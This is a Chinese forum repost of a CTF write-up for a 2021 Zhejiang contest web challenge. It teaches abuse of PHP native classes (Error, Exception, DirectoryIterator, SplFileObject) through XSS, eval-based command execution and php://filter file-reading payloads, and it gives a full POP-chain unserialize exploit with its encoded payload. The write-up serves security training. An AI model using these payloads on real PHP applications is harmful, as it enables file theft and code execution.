安全矩阵

 找回密码
 立即注册
搜索
查看: 2582|回复: 0

记一道2021浙江省赛的Web题

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-2 20:29:26 | 显示全部楼层 |阅读模式
原文链接:记一道2021浙江省赛的Web题

前景
刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。
原生类
报错类Error
在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。
例如,有以下代码:
  1. <code><?php</code><code>$a = $_GET['a'];</code><code>
  2. $b = $_GET['b'];
  3. </code><code>echo new $a($b);</code>
复制代码

当传入下方payload的时候,会产生XSS

?a=Error&b=<script>alert("Lxxx");</script>

Exception
与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。

?a=Exception&b=<script>alert("Lxxx");</script>

这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢?
同样还是上方的测试代码,我们传以下payload:

?a=Exception&b=eval($_POST[1]);

可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。
不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下:
  1. <code><?php</code><code>$a = $_GET['a'];
  2. </code><code>$b = $_GET['b'];</code><code>
  3. eval("echo new $a($b());");</code>
复制代码


这个时候我们传入以下payload

?a=Exception&b=system('whoami')

这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。
遍历目录类DirectoryIterator
DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项
假设我们有以下代码:
  1. <code><?php</code><code>$a = $_GET['a'];
  2. </code><code>$b = $_GET['b'];
  3. </code><code>echo new $a($b);</code>
复制代码


这个时候我们传参如下:

?a=DirectoryIterator&b=.

在页面中返回了一个点(真的是一个点,不是显示屏上的污渍)
这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议
?a=DirectoryIterator&b=glob://flag*
那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办?
答案是:暴力搜索
  1. ?a=DirectoryIterator&b=glob://f[k-m]*
复制代码



glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。
FilesystemIterator
同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。

GlobIterator
GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容
  1. ?a=GlobIterator&b=f[k-m]*
复制代码



读取文件类SplFileObject
SplFileObject类为文件提供了一个面向对象接口
说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。
同样还是这个测试代码:
  1. <code><?php</code><code>$a = $_GET['a'];
  2. </code><code>$b = $_GET['b'];
  3. </code><code>echo new $a($b);</code>
复制代码


我们传payload如下:
  1. ?a=SplFileObject&b=flag.php
复制代码



利用这个类可以将我们的flag.php文件读出来
不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛?
确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢?
​​
我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的?

可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等)
而这些方法都有一个共同点就是,可以用伪协议。
虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。
因此我们传入payload:
  1. ?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
复制代码


可以看到,这个时候flag.php就被我们完整的读取出来了。

其余类本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。
  •         ReflectionMethod
  •         ReflectionClass
  •         SoapClient
  •         SimpleXMLElement
  •         ZipArchive

2021浙江网络安全省赛Web2的WP
题目代码如下:
  1. <?php
  2. error_reporting(0);
  3. class A1{
  4.    public $tmp1;
  5.    public $tmp2;
  6.    public function __construct()
  7. {
  8.        echo "Enjoy Hacking!";
  9.   }
  10.    public function __wakeup()
  11. {
  12.        $this->tmp1->hacking();
  13.   }
  14. }
  15. class A2
  16. {
  17.    public $tmp1;
  18.    public $tmp2;
  19.    public function hacking()
  20. {
  21.        echo "Hacked By Bi0x";
  22.   }
  23. }
  24. class A3
  25. {
  26.    public $tmp1;
  27.    public $tmp2;
  28.    public function hacking()
  29. {
  30.        $this->tmp2->get_flag();
  31.   }
  32. }
  33. class A4
  34. {
  35.    public $tmp1='1919810';
  36.    public $tmp2;
  37.    public function get_flag()
  38. {
  39.        echo "flag{".$this->tmp1."}";
  40.   }
  41. }
  42. class A5
  43. {
  44.    public $tmp1;
  45.    public $tmp2;
  46.    public function __call($a,$b)
  47. {
  48.        $f=$this->tmp1;
  49.        $f();
  50.   }
  51. }
  52. class A6
  53. {
  54.    public $tmp1;
  55.    public $tmp2;
  56.    public function __toString()
  57. {
  58.        $this->tmp1->hack4fun();
  59.        return "114514";
  60.   }
  61. }
  62. class A7
  63. {
  64.    public $tmp1="Hello World!";
  65.    public $tmp2;
  66.    public function __invoke()
  67. {
  68.        echo "114514".$this->tmp2.$this->tmp1;
  69.   }
  70. }
  71. class A8
  72. {
  73.    public $tmp1;
  74.    public $tmp2;
  75.    public function hack4fun()
  76. {
  77.        echo "Last step,Ganbadie~";
  78.        if(isset($_GET['DAS']))
  79.       {
  80.            $this->tmp1=$_GET['DAS'];
  81.       }
  82.        if(isset($_GET['CTF']))
  83.       {
  84.            $this->tmp2=$_GET['CTF'];
  85.       }
  86.        echo new $this->tmp1($this->tmp2);
  87.   }
  88. }
  89. if(isset($_GET['DASCTF']))
  90. {
  91.    unserialize($_GET['DASCTF']);
  92. }
  93. else{
  94.    highlight_file(__FILE__);
  95. }
复制代码

这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC

  1. <?php

  2. class A1{
  3.    public $tmp1;
  4.    public $tmp2;
  5.    public function __construct()
  6. {
  7. $this->tmp1 = new A3();
  8.        echo "Enjoy Hacking!"."<br/>";
  9.   }
  10.    public function __wakeup()
  11. {
  12.        $this->tmp1->hacking();
  13.   }
  14. }
  15. class A2
  16. {
  17.    public $tmp1;
  18.    public $tmp2;
  19.    public function hacking()
  20. {
  21.        echo "Hacked By Bi0x";
  22.   }
  23. }
  24. class A3
  25. {
  26.    public $tmp1;
  27.    public $tmp2;
  28. public function __construct()
  29. {
  30. $this->tmp2 = new A4();
  31. }
  32.    public function hacking()
  33. {

  34.        $this->tmp2->get_flag();
  35.   }
  36. }
  37. class A4
  38. {
  39.    public $tmp1;
  40.    public $tmp2;
  41. public function __construct()
  42. {
  43. $this->tmp1 = new A6();
  44. }
  45.    public function get_flag()
  46. {
  47.        echo "flag{".$this->tmp1."}";
  48.   }
  49. }
  50. class A5
  51. {
  52.    public $tmp1 = "";
  53.    public $tmp2;
  54.    public function __call($a,$b)
  55. {
  56.        $f=$this->tmp1;
  57.        $f();
  58.   }
  59. }
  60. class A6
  61. {
  62.    public $tmp1;
  63.    public $tmp2;
  64. public function __construct()
  65. {
  66. $this->tmp1 = new A8();
  67. }
  68.    public function __toString()
  69. {
  70.        $this->tmp1->hack4fun();
  71.        return "114514";
  72.   }
  73. }
  74. class A7
  75. {
  76.    public $tmp1="Hello World!";
  77.    public $tmp2;
  78.    public function __invoke()
  79. {
  80.        echo "114514".$this->tmp2.$this->tmp1;
  81.   }
  82. }
  83. class A8
  84. {
  85.    public $tmp1 ;
  86.    public $tmp2 ;
  87.    public function hack4fun()
  88. {
  89.        echo "Last step,Ganbadie~";
  90.        if(isset($_GET['DAS']))
  91.       {
  92.            $this->tmp1=$_GET['DAS'];
  93.       }
  94.        if(isset($_GET['CTF']))
  95.       {
  96.            $this->tmp2=$_GET['CTF'];
  97.       }
  98.        echo new $this->tmp1($this->tmp2);
  99.   }
  100. }

  101. $a = new A1();
  102. echo urlencode(serialize($a));
复制代码


得到部分payload:

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="464" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22O%253A2%253A%2522A1%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BO%253A2%253A%2522A3%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BN%253Bs%253A4%253A%2522tmp2%2522%253BO%253A2%253A%2522A4%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BO%253A2%253A%2522A6%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BO%253A2%253A%2522A8%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BN%253Bs%253A4%253A%2522tmp2%2522%253BN%253B%257Ds%253A4%253A%2522tmp2%2522%253BN%253B%257Ds%253A4%253A%2522tmp2%2522%253BN%253B%257D%257Ds%253A4%253A%2522tmp2%2522%253BN%253B%257D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D</code></pre>
  2. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.3/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>

  3. <p></p>
复制代码

将上方的payload传入DASCTF参数即可
这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下:
  1. echo new $this->tmp1($this->tmp2);
复制代码


因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php
  1. ?DAS=DirectoryIterator&CTF=glob://flag*
复制代码


得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="461" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%3FDASCTF%3DO%253A2%253A%2522A1%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BO%253A2%253A%2522A3%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BN%253Bs%253A4%253A%2522tmp2%2522%253BO%253A2%253A%2522A4%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BO%253A2%253A%2522A6%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BO%253A2%253A%2522A8%2522%253A2%253A%257Bs%253A4%253A%2522tmp1%2522%253BN%253Bs%253A4%253A%2522tmp2%2522%253BN%253B%257Ds%253A4%253A%2522tmp2%2522%253BN%253B%257Ds%253A4%253A%2522tmp2%2522%253BN%253B%257D%257Ds%253A4%253A%2522tmp2%2522%253BN%253B%257D%26DAS%3DSplFileObject%26CTF%3Dphp%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflaggggggggggg.php%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D&DAS=SplFileObject&CTF=php://filter/convert.base64-encode/resource=flaggggggggggg.php</code></pre>
  2. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.3/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>



  3. <p></p>
复制代码

最终再将浏览器的回显进行base64解码即可得到flag


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 00:37 , Processed in 0.017699 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表